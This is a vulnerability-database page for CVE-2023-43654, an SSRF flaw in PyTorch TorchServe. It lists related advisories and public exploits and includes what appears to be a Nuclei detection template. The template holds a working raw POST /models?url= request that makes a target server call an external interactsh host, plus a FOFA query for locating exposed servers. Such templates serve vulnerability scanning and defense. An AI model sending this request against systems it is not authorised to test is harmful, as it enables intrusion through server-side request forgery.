| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| PyTorch Model Server Registration / Deserialization Remote Code Execution Exploit | 15 Oct 202300:00 | – | zdt | |
| Exploit for Server-Side Request Forgery in Pytorch Torchserve | 19 Jan 202613:31 | – | githubexploit | |
| Exploit for Server-Side Request Forgery in Pytorch Torchserve | 28 May 202410:02 | – | githubexploit | |
| The vulnerability of the allowed_urls configuration in the PyTorch TorchServe training and scaling tool allows a attacker to perform an SSRF attack. | 10 Oct 202300:00 | – | bdu_fstec | |
| CVE-2023-43654 | 29 Sep 202302:37 | – | circl | |
| PyTorch Code Issues Vulnerabilities | 28 Sep 202300:00 | – | cnnvd | |
| CVE-2023-43654 | 28 Sep 202322:10 | – | cve | |
| CVE-2023-43654 TorchServe Server-Side Request Forgery | 28 Sep 202322:10 | – | cvelist | |
| K000138582: TorchServe vulnerability CVE-2023-43654 | 12 Feb 202421:34 | – | f5 | |
| TorchServe Server-Side Request Forgery vulnerability | 2 Oct 202320:39 | – | github |
id: CVE-2023-43654
info:
name: PyTorch TorchServe SSRF
author: DhiyaneshDk
severity: critical
description: |
TorchServe is a tool for serving and scaling PyTorch models in production. TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions 0.1.0 to 0.8.1. A user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the allowed_urls and specifying the model URL to be used. A pull request to warn the user when the default value for allowed_urls is used has been merged in PR #2534. TorchServe release 0.8.2 includes this change. Users are advised to upgrade. There are no known workarounds for this issue.
impact: |
Unauthenticated attackers can load malicious models from arbitrary URLs and write files to disk due to lack of input validation, potentially compromising the PyTorch TorchServe system and accessing internal network resources through SSRF.
remediation: |
Update PyTorch TorchServe to version 0.8.2 or later that includes allowed_urls validation and restricts model loading to trusted sources.
reference:
- https://github.com/pytorch/serve/pull/2534
- https://github.com/pytorch/serve/releases/tag/v0.8.2
- https://github.com/OligoCyberSecurity/ShellTorchChecker
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-43654
cwe-id: CWE-918
epss-score: 0.35256
epss-percentile: 0.98243
cpe: cpe:2.3:a:pytorch:torchserve:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: pytorch
product: torchserve
fofa-query: body="Requested method is not allowed, please refer to API document"
tags: cve,cve2023,pytorch,oast,ssrf,vuln,vkev
http:
- raw:
- |
POST /models?url=http%3a//{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Java"
- type: word
part: content_type
words:
- "application/json"
# digest: 490a004630440220492833a1270fa10c43dcb3002e9e46ff06cdc42e6f25482f940e9b3fd0ddfc7e02207ee0536a5cd69172edf1cbaf0f24320af6cdaf9d0f23d3a2e2bc8b86ac011ab3:922c64590222798bb761d5b6d8e72950Data
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